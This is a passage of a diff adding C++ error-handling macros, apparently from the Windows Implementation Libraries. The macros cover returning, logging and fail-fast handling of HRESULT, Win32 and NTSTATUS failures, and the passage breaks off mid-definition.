+#define __RFF_INTERNAL_INLINE_FN_CALL __RFF_FN_CALL_FULL_RA __RFF_COMMA +#define __RFF_INTERNAL_INLINE_FN_CALL_ONLY __RFF_FN_CALL_FULL_RA +#if (RESULT_INLINE_ERROR_TESTS_FAIL_FAST == 0) +#define __RFF_INTERNAL_METHOD __RFF_INTERNAL_NOINLINE_METHOD +#define __RFF_INTERNAL_NORET_METHOD __RFF_INTERNAL_NOINLINE_NORET_METHOD +#define __RFF_CALL_INTERNAL_METHOD __RFF_CALL_INTERNAL_NOINLINE_METHOD +#define __RFF_INTERNAL_FN_PARAMS __RFF_INTERNAL_NOINLINE_FN_PARAMS +#define __RFF_INTERNAL_FN_PARAMS_ONLY __RFF_INTERNAL_NOINLINE_FN_PARAMS_ONLY +#define __RFF_INTERNAL_FN_CALL __RFF_INTERNAL_NOINLINE_FN_CALL +#define __RFF_INTERNAL_FN_CALL_ONLY __RFF_INTERNAL_NOINLINE_FN_CALL_ONLY +#else +#define __RFF_INTERNAL_METHOD __RFF_INTERNAL_INLINE_METHOD +#define __RFF_INTERNAL_NORET_METHOD __RFF_INTERNAL_INLINE_NORET_METHOD +#define __RFF_CALL_INTERNAL_METHOD __RFF_CALL_INTERNAL_INLINE_METHOD +#define __RFF_INTERNAL_FN_PARAMS __RFF_INTERNAL_INLINE_FN_PARAMS +#define __RFF_INTERNAL_FN_PARAMS_ONLY __RFF_INTERNAL_INLINE_FN_PARAMS_ONLY +#define __RFF_INTERNAL_FN_CALL __RFF_INTERNAL_INLINE_FN_CALL +#define __RFF_INTERNAL_FN_CALL_ONLY __RFF_INTERNAL_INLINE_FN_CALL_ONLY +#endif +// 3) Conditional Methods +// * Called Directly by Macros +// * May be noinline or __forceinline depending upon (RESULT_INLINE_ERROR_TESTS_FAIL_FAST) +// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1) +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1) +#define __RFF_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName +#define __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __RFF_CONDITIONAL_INLINE_METHOD(RetType, MethodName) template __forceinline RetType MethodName +#define __RFF_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName +#define __RFF_CONDITIONAL_PARTIAL_TEMPLATE unsigned int optimizerCounter __RFF_COMMA +#else +#define __RFF_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __RFF_CONDITIONAL_INLINE_METHOD(RetType, MethodName) __forceinline RetType MethodName +#define __RFF_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName +#define __RFF_CONDITIONAL_PARTIAL_TEMPLATE +#endif +#define __RFF_CONDITIONAL_NOINLINE_FN_CALL __RFF_FN_CALL _ReturnAddress() __RFF_COMMA +#define __RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY __RFF_FN_CALL _ReturnAddress() +#define __RFF_CONDITIONAL_INLINE_FN_CALL __RFF_FN_CALL +#define __RFF_CONDITIONAL_INLINE_FN_CALL_ONLY __RFF_FN_CALL_ONLY +#if (RESULT_INLINE_ERROR_TESTS_FAIL_FAST == 0) +#define __RFF_CONDITIONAL_METHOD __RFF_CONDITIONAL_NOINLINE_METHOD +#define __RFF_CONDITIONAL_TEMPLATE_METHOD __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD +#define __RFF_CONDITIONAL_FN_CALL __RFF_CONDITIONAL_NOINLINE_FN_CALL +#define __RFF_CONDITIONAL_FN_CALL_ONLY __RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY +#else +#define __RFF_CONDITIONAL_METHOD __RFF_CONDITIONAL_INLINE_METHOD +#define __RFF_CONDITIONAL_TEMPLATE_METHOD __RFF_CONDITIONAL_INLINE_TEMPLATE_METHOD +#define __RFF_CONDITIONAL_FN_CALL __RFF_CONDITIONAL_INLINE_FN_CALL +#define __RFF_CONDITIONAL_FN_CALL_ONLY __RFF_CONDITIONAL_INLINE_FN_CALL_ONLY +#endif +#define __RFF_CONDITIONAL_FN_PARAMS __RFF_FN_PARAMS +#define __RFF_CONDITIONAL_FN_PARAMS_ONLY __RFF_FN_PARAMS_ONLY +// Macro call-site helpers +#define __RFF_NS_ASSEMBLE2(ri, rd) in##ri##diag##rd // Differing internal namespaces eliminate ODR violations between modes +#define __RFF_NS_ASSEMBLE(ri, rd) __RFF_NS_ASSEMBLE2(ri, rd) +#define __RFF_NS_NAME __RFF_NS_ASSEMBLE(RESULT_INLINE_ERROR_TESTS_FAIL_FAST, RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST) +#define __RFF_NS wil::details::__RFF_NS_NAME +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1) +#define __RFF_FN(MethodName) __RFF_NS:: MethodName <__COUNTER__> +#else +#define __RFF_FN(MethodName) __RFF_NS:: MethodName +#endif +// end-of-repeated fail-fast handling macros + +// Helpers for return macros +#define __RETURN_HR_MSG(hr, str, fmt, ...) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); if (FAILED(__hr)) { __R_FN(Return_HrMsg)(__R_INFO(str) __hr, fmt, ##__VA_ARGS__); } return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_HR_MSG_FAIL(hr, str, fmt, ...) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); __R_FN(Return_HrMsg)(__R_INFO(str) __hr, fmt, ##__VA_ARGS__); return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_WIN32_MSG(err, str, fmt, ...) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); if (FAILED_WIN32(__err)) { return __R_FN(Return_Win32Msg)(__R_INFO(str) __err, fmt, ##__VA_ARGS__); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_WIN32_MSG_FAIL(err, str, fmt, ...) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); return __R_FN(Return_Win32Msg)(__R_INFO(str) __err, fmt, ##__VA_ARGS__); } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_GLE_MSG_FAIL(str, fmt, ...) return __R_FN(Return_GetLastErrorMsg)(__R_INFO(str) fmt, ##__VA_ARGS__) +#define __RETURN_NTSTATUS_MSG(status, str, fmt, ...) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); if (FAILED_NTSTATUS(__status)) { return __R_FN(Return_NtStatusMsg)(__R_INFO(str) __status, fmt, ##__VA_ARGS__); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_NTSTATUS_MSG_FAIL(status, str, fmt, ...) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); return __R_FN(Return_NtStatusMsg)(__R_INFO(str) __status, fmt, ##__VA_ARGS__); } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_HR(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); if (FAILED(__hr)) { __R_FN(Return_Hr)(__R_INFO(str) __hr); } return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_HR_NOFILE(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); if (FAILED(__hr)) { __R_FN(Return_Hr)(__R_INFO_NOFILE(str) __hr); } return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_HR_FAIL(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); __R_FN(Return_Hr)(__R_INFO(str) __hr); return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_HR_FAIL_NOFILE(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); __R_FN(Return_Hr)(__R_INFO_NOFILE(str) __hr); return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_WIN32(err, str) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); if (FAILED_WIN32(__err)) { return __R_FN(Return_Win32)(__R_INFO(str) __err); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_WIN32_FAIL(err, str) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); return __R_FN(Return_Win32)(__R_INFO(str) __err); } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_GLE_FAIL(str) return __R_FN(Return_GetLastError)(__R_INFO_ONLY(str)) +#define __RETURN_GLE_FAIL_NOFILE(str) return __R_FN(Return_GetLastError)(__R_INFO_NOFILE_ONLY(str)) +#define __RETURN_NTSTATUS(status, str) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); if (FAILED_NTSTATUS(__status)) { return __R_FN(Return_NtStatus)(__R_INFO(str) __status); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0) +#define __RETURN_NTSTATUS_FAIL(status, str) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); return __R_FN(Return_NtStatus)(__R_INFO(str) __status); } __WI_SUPPRESS_4127_E while ((void)0, 0) +/// @endcond + +//***************************************************************************** +// Macros for returning failures as HRESULTs +//***************************************************************************** + +// Always returns a known result (HRESULT) - always logs failures +#define RETURN_HR(hr) __RETURN_HR(wil::verify_hresult(hr), #hr) +#define RETURN_LAST_ERROR() __RETURN_GLE_FAIL(nullptr) +#define RETURN_WIN32(win32err) __RETURN_WIN32(win32err, #win32err) +#define RETURN_NTSTATUS(status) __RETURN_NTSTATUS(status, #status) + +// Conditionally returns failures (HRESULT) - always logs failures +#define RETURN_IF_FAILED(hr) __WI_SUPPRESS_4127_S do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { __RETURN_HR_FAIL(__hrRet, #hr); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) __WI_SUPPRESS_4127_S do { const auto __boolRet = wil::verify_BOOL(win32BOOL); if (!__boolRet) { __RETURN_GLE_FAIL(#win32BOOL); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_IF_WIN32_ERROR(win32err) __WI_SUPPRESS_4127_S do { const DWORD __errRet = (win32err); if (FAILED_WIN32(__errRet)) { __RETURN_WIN32_FAIL(__errRet, #win32err); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_IF_NULL_ALLOC(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR_FAIL(E_OUTOFMEMORY, #ptr); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_HR_IF(hr, condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_HR(wil::verify_hresult(hr), #condition); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_HR_IF_NULL(hr, ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR(wil::verify_hresult(hr), #ptr); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_LAST_ERROR_IF(condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_GLE_FAIL(#condition); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_LAST_ERROR_IF_NULL(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_GLE_FAIL(#ptr); }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_IF_NTSTATUS_FAILED(status) __WI_SUPPRESS_4127_S do { const NTSTATUS __statusRet = (status); if (FAILED_NTSTATUS(__statusRet)) { __RETURN_NTSTATUS_FAIL(__statusRet, #status); }} __WI_SUPPRESS_4127_E while ((void)0, 0) + +// Always returns a known failure (HRESULT) - always logs a var-arg message on failure +#define RETURN_HR_MSG(hr, fmt, ...) __RETURN_HR_MSG(wil::verify_hresult(hr), #hr, fmt, ##__VA_ARGS__) +#define RETURN_LAST_ERROR_MSG(fmt, ...) __RETURN_GLE_MSG_FAIL(nullptr, fmt, ##__VA_ARGS__) +#define RETURN_WIN32_MSG(win32err, fmt, ...) __RETURN_WIN32_MSG(win32err, #win32err, fmt, ##__VA_ARGS__) +#define RETURN_NTSTATUS_MSG(status, fmt, ...) __RETURN_NTSTATUS_MSG(status, #status, fmt, ##__VA_ARGS__) + +// Conditionally returns failures (HRESULT) - always logs a var-arg message on failure +#define RETURN_IF_FAILED_MSG(hr, fmt, ...) __WI_SUPPRESS_4127_S do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { __RETURN_HR_MSG_FAIL(__hrRet, #hr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __WI_SUPPRESS_4127_S do { if (!wil::verify_BOOL(win32BOOL)) { __RETURN_GLE_MSG_FAIL(#win32BOOL, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __WI_SUPPRESS_4127_S do { const DWORD __errRet = (win32err); if (FAILED_WIN32(__errRet)) { __RETURN_WIN32_MSG_FAIL(__errRet, #win32err, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR_MSG_FAIL(E_OUTOFMEMORY, #ptr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_HR_IF_MSG(hr, condition, fmt, ...) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_HR_MSG(wil::verify_hresult(hr), #condition, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR_MSG(wil::verify_hresult(hr), #ptr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_LAST_ERROR_IF_MSG(condition, fmt, ...) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_GLE_MSG_FAIL(#condition, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_GLE_MSG_FAIL(#ptr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __WI_SUPPRESS_4127_S do { const NTSTATUS __statusRet = (status); if (FAILED_NTSTATUS(__statusRet)) { __RETURN_NTSTATUS_MSG_FAIL(__statusRet, #status, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0) + +// Conditionally returns failures (HRESULT) - use for failures that are expected in common use - failures are not logged - macros are only for control flow pattern +#define RETURN_IF_FAILED_EXPECTED(hr) __WI_SUPPRESS_4127_S do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { return __hrRet; }} __WI_SUPPRESS_4127_E while ((void)0, 0) +#define RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(win32BOOL) __WI_SUPPRESS_4127_S do { if (!wil::verify_BOOL(win32BOOL)) { return wil::details::GetLastErrorFailHr(); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_WIN32_ERROR_EXPECTED(win32err) __WI_SUPPRESS_4127_S do { const DWORD __errRet = (win32err); if (FAILED_WIN32(__errRet)) { return __HRESULT_FROM_WIN32(__errRet); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_NULL_ALLOC_EXPECTED(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { return E_OUTOFMEMORY; }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_HR_IF_EXPECTED(hr, condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { return wil::verify_hresult(hr); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_HR_IF_NULL_EXPECTED(hr, ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { return wil::verify_hresult(hr); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_LAST_ERROR_IF_EXPECTED(condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { return wil::details::GetLastErrorFailHr(); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_LAST_ERROR_IF_NULL_EXPECTED(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { return wil::details::GetLastErrorFailHr(); }} __WI_SUPPRESS_4127_E while((void)0, 0) +#define RETURN_IF_NTSTATUS_FAILED_EXPECTED(status) __WI_SUPPRESS_4127_S do { const NTSTATUS __statusRet = (status); if (FAILED_NTSTATUS(__statusRet)) { return wil::details::NtStatusToHr(__statusRet); }} __WI_SUPPRESS_4127_E while((void)0, 0) + +#define __WI_OR_IS_EXPECTED_HRESULT(e) || (__hrRet == wil::verify_hresult(e)) +#define RETURN_IF_FAILED_WITH_EXPECTED(hr, hrExpected, ...) \ + do \ + { \ + const auto __hrRet = wil::verify_hresult(hr); \ + if (FAILED(__hrRet)) \ + { \ + if ((__hrRet == wil::verify_hresult(hrExpected)) WI_FOREACH(__WI_OR_IS_EXPECTED_HRESULT, ##__VA_ARGS__)) \ + { \ + return __hrRet; \ + } \ + __RETURN_HR_FAIL(__hrRet, #hr); \ + } \ + } \ + while ((void)0, 0) + +//***************************************************************************** +// Macros for logging failures (ignore or pass-through) +//***************************************************************************** + +// Always logs a known failure +#define LOG_HR(hr) __R_FN(Log_Hr)(__R_INFO(#hr) wil::verify_hresult(hr)) +#define LOG_LAST_ERROR() __R_FN(Log_GetLastError)(__R_INFO_ONLY(nullptr)) +#define LOG_WIN32(win32err) __R_FN(Log_Win32)(__R_INFO(#win32err) win32err) +#define LOG_NTSTATUS(status) __R_FN(Log_NtStatus)(__R_INFO(#status) status) + +// Conditionally logs failures - returns parameter value +#define LOG_IF_FAILED(hr) __R_FN(Log_IfFailed)(__R_INFO(#hr) wil::verify_hresult(hr)) +#define LOG_IF_WIN32_BOOL_FALSE(win32BOOL) __R_FN(Log_IfWin32BoolFalse)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL)) +#define LOG_IF_WIN32_ERROR(win32err) __R_FN(Log_IfWin32Error)(__R_INFO(#win32err) win32err) +#define LOG_IF_NULL_ALLOC(ptr) __R_FN(Log_IfNullAlloc)(__R_INFO(#ptr) ptr) +#define LOG_HR_IF(hr, condition) __R_FN(Log_HrIf)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition)) +#define LOG_HR_IF_NULL(hr, ptr) __R_FN(Log_HrIfNull)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr) +#define LOG_LAST_ERROR_IF(condition) __R_FN(Log_GetLastErrorIf)(__R_INFO(#condition) wil::verify_bool(condition)) +#define LOG_LAST_ERROR_IF_NULL(ptr) __R_FN(Log_GetLastErrorIfNull)(__R_INFO(#ptr) ptr) +#define LOG_IF_NTSTATUS_FAILED(status) __R_FN(Log_IfNtStatusFailed)(__R_INFO(#status) status) + +// Alternatives for SUCCEEDED(hr) and FAILED(hr) that conditionally log failures +#define SUCCEEDED_LOG(hr) SUCCEEDED(LOG_IF_FAILED(hr)) +#define FAILED_LOG(hr) FAILED(LOG_IF_FAILED(hr)) +#define SUCCEEDED_WIN32_LOG(win32err) SUCCEEDED_WIN32(LOG_IF_WIN32_ERROR(win32err)) +#define FAILED_WIN32_LOG(win32err) FAILED_WIN32(LOG_IF_WIN32_ERROR(win32err)) +#define SUCCEEDED_NTSTATUS_LOG(status) SUCCEEDED_NTSTATUS(LOG_IF_NTSTATUS_FAILED(status)) +#define FAILED_NTSTATUS_LOG(status) FAILED_NTSTATUS(LOG_IF_NTSTATUS_FAILED(status)) + +// Alternatives for NT_SUCCESS(x) that conditionally logs failures +#define NT_SUCCESS_LOG(status) NT_SUCCESS(LOG_IF_NTSTATUS_FAILED(status)) + +// Always logs a known failure - logs a var-arg message on failure +#define LOG_HR_MSG(hr, fmt, ...) __R_FN(Log_HrMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__) +#define LOG_LAST_ERROR_MSG(fmt, ...) __R_FN(Log_GetLastErrorMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__) +#define LOG_WIN32_MSG(win32err, fmt, ...) __R_FN(Log_Win32Msg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__) +#define LOG_NTSTATUS_MSG(status, fmt, ...) __R_FN(Log_NtStatusMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__) + +// Conditionally logs failures - returns parameter value - logs a var-arg message on failure +#define LOG_IF_FAILED_MSG(hr, fmt, ...) __R_FN(Log_IfFailedMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__) +#define LOG_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __R_FN(Log_IfWin32BoolFalseMsg)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL), fmt, ##__VA_ARGS__) +#define LOG_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __R_FN(Log_IfWin32ErrorMsg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__) +#define LOG_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __R_FN(Log_IfNullAllocMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) +#define LOG_HR_IF_MSG(hr, condition, fmt, ...) __R_FN(Log_HrIfMsg)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define LOG_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __R_FN(Log_HrIfNullMsg)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr, fmt, ##__VA_ARGS__) +#define LOG_LAST_ERROR_IF_MSG(condition, fmt, ...) __R_FN(Log_GetLastErrorIfMsg)(__R_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define LOG_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __R_FN(Log_GetLastErrorIfNullMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) +#define LOG_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __R_FN(Log_IfNtStatusFailedMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__) + +#define __WI_COMMA_EXPECTED_HRESULT(e) , wil::verify_hresult(e) +#define LOG_IF_FAILED_WITH_EXPECTED(hr, hrExpected, ...) __R_FN(Log_IfFailedWithExpected)(__R_INFO(#hr) wil::verify_hresult(hr), WI_ARGS_COUNT(__VA_ARGS__) + 1, wil::verify_hresult(hrExpected) WI_FOREACH(__WI_COMMA_EXPECTED_HRESULT, ##__VA_ARGS__)) + +//***************************************************************************** +// Macros to fail fast the process on failures +//***************************************************************************** + +// Always fail fast a known failure +#define FAIL_FAST_HR(hr) __RFF_FN(FailFast_Hr)(__RFF_INFO(#hr) wil::verify_hresult(hr)) +#define FAIL_FAST_LAST_ERROR() __RFF_FN(FailFast_GetLastError)(__RFF_INFO_ONLY(nullptr)) +#define FAIL_FAST_WIN32(win32err) __RFF_FN(FailFast_Win32)(__RFF_INFO(#win32err) win32err) +#define FAIL_FAST_NTSTATUS(status) __RFF_FN(FailFast_NtStatus)(__RFF_INFO(#status) status) + +// Conditionally fail fast failures - returns parameter value +#define FAIL_FAST_IF_FAILED(hr) __RFF_FN(FailFast_IfFailed)(__RFF_INFO(#hr) wil::verify_hresult(hr)) +#define FAIL_FAST_IF_WIN32_BOOL_FALSE(win32BOOL) __RFF_FN(FailFast_IfWin32BoolFalse)(__RFF_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL)) +#define FAIL_FAST_IF_WIN32_ERROR(win32err) __RFF_FN(FailFast_IfWin32Error)(__RFF_INFO(#win32err) win32err) +#define FAIL_FAST_IF_NULL_ALLOC(ptr) __RFF_FN(FailFast_IfNullAlloc)(__RFF_INFO(#ptr) ptr) +#define FAIL_FAST_HR_IF(hr, condition) __RFF_FN(FailFast_HrIf)(__RFF_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition)) +#define FAIL_FAST_HR_IF_NULL(hr, ptr) __RFF_FN(FailFast_HrIfNull)(__RFF_INFO(#ptr) wil::verify_hresult(hr), ptr) +#define FAIL_FAST_LAST_ERROR_IF(condition) __RFF_FN(FailFast_GetLastErrorIf)(__RFF_INFO(#condition) wil::verify_bool(condition)) +#define FAIL_FAST_LAST_ERROR_IF_NULL(ptr) __RFF_FN(FailFast_GetLastErrorIfNull)(__RFF_INFO(#ptr) ptr) +#define FAIL_FAST_IF_NTSTATUS_FAILED(status) __RFF_FN(FailFast_IfNtStatusFailed)(__RFF_INFO(#status) status) + +// Always fail fast a known failure - fail fast a var-arg message on failure +#define FAIL_FAST_HR_MSG(hr, fmt, ...) __RFF_FN(FailFast_HrMsg)(__RFF_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__) +#define FAIL_FAST_LAST_ERROR_MSG(fmt, ...) __RFF_FN(FailFast_GetLastErrorMsg)(__RFF_INFO(nullptr) fmt, ##__VA_ARGS__) +#define FAIL_FAST_WIN32_MSG(win32err, fmt, ...) __RFF_FN(FailFast_Win32Msg)(__RFF_INFO(#win32err) win32err, fmt, ##__VA_ARGS__) +#define FAIL_FAST_NTSTATUS_MSG(status, fmt, ...) __RFF_FN(FailFast_NtStatusMsg)(__RFF_INFO(#status) status, fmt, ##__VA_ARGS__) + +// Conditionally fail fast failures - returns parameter value - fail fast a var-arg message on failure +#define FAIL_FAST_IF_FAILED_MSG(hr, fmt, ...) __RFF_FN(FailFast_IfFailedMsg)(__RFF_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__) +#define FAIL_FAST_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __RFF_FN(FailFast_IfWin32BoolFalseMsg)(__RFF_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL), fmt, ##__VA_ARGS__) +#define FAIL_FAST_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __RFF_FN(FailFast_IfWin32ErrorMsg)(__RFF_INFO(#win32err) win32err, fmt, ##__VA_ARGS__) +#define FAIL_FAST_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __RFF_FN(FailFast_IfNullAllocMsg)(__RFF_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) +#define FAIL_FAST_HR_IF_MSG(hr, condition, fmt, ...) __RFF_FN(FailFast_HrIfMsg)(__RFF_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define FAIL_FAST_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __RFF_FN(FailFast_HrIfNullMsg)(__RFF_INFO(#ptr) wil::verify_hresult(hr), ptr, fmt, ##__VA_ARGS__) +#define FAIL_FAST_LAST_ERROR_IF_MSG(condition, fmt, ...) __RFF_FN(FailFast_GetLastErrorIfMsg)(__RFF_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define FAIL_FAST_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __RFF_FN(FailFast_GetLastErrorIfNullMsg)(__RFF_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) +#define FAIL_FAST_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __RFF_FN(FailFast_IfNtStatusFailedMsg)(__RFF_INFO(#status) status, fmt, ##__VA_ARGS__) + +// Always fail fast a known failure +#ifndef FAIL_FAST +#define FAIL_FAST() __RFF_FN(FailFast_Unexpected)(__RFF_INFO_ONLY(nullptr)) +#endif + +// Conditionally fail fast failures - returns parameter value +#define FAIL_FAST_IF(condition) __RFF_FN(FailFast_If)(__RFF_INFO(#condition) wil::verify_bool(condition)) +#define FAIL_FAST_IF_NULL(ptr) __RFF_FN(FailFast_IfNull)(__RFF_INFO(#ptr) ptr) + +// Always fail fast a known failure - fail fast a var-arg message on failure +#define FAIL_FAST_MSG(fmt, ...) __RFF_FN(FailFast_UnexpectedMsg)(__RFF_INFO(nullptr) fmt, ##__VA_ARGS__) + +// Conditionally fail fast failures - returns parameter value - fail fast a var-arg message on failure +#define FAIL_FAST_IF_MSG(condition, fmt, ...) __RFF_FN(FailFast_IfMsg)(__RFF_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define FAIL_FAST_IF_NULL_MSG(ptr, fmt, ...) __RFF_FN(FailFast_IfNullMsg)(__RFF_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) + +// Immediate fail fast (no telemetry - use rarely / only when *already* in an undefined state) +#define FAIL_FAST_IMMEDIATE() __RFF_FN(FailFastImmediate_Unexpected)() + +// Conditional immediate fail fast (no telemetry - use rarely / only when *already* in an undefined state) +#define FAIL_FAST_IMMEDIATE_IF_FAILED(hr) __RFF_FN(FailFastImmediate_IfFailed)(wil::verify_hresult(hr)) +#define FAIL_FAST_IMMEDIATE_IF(condition) 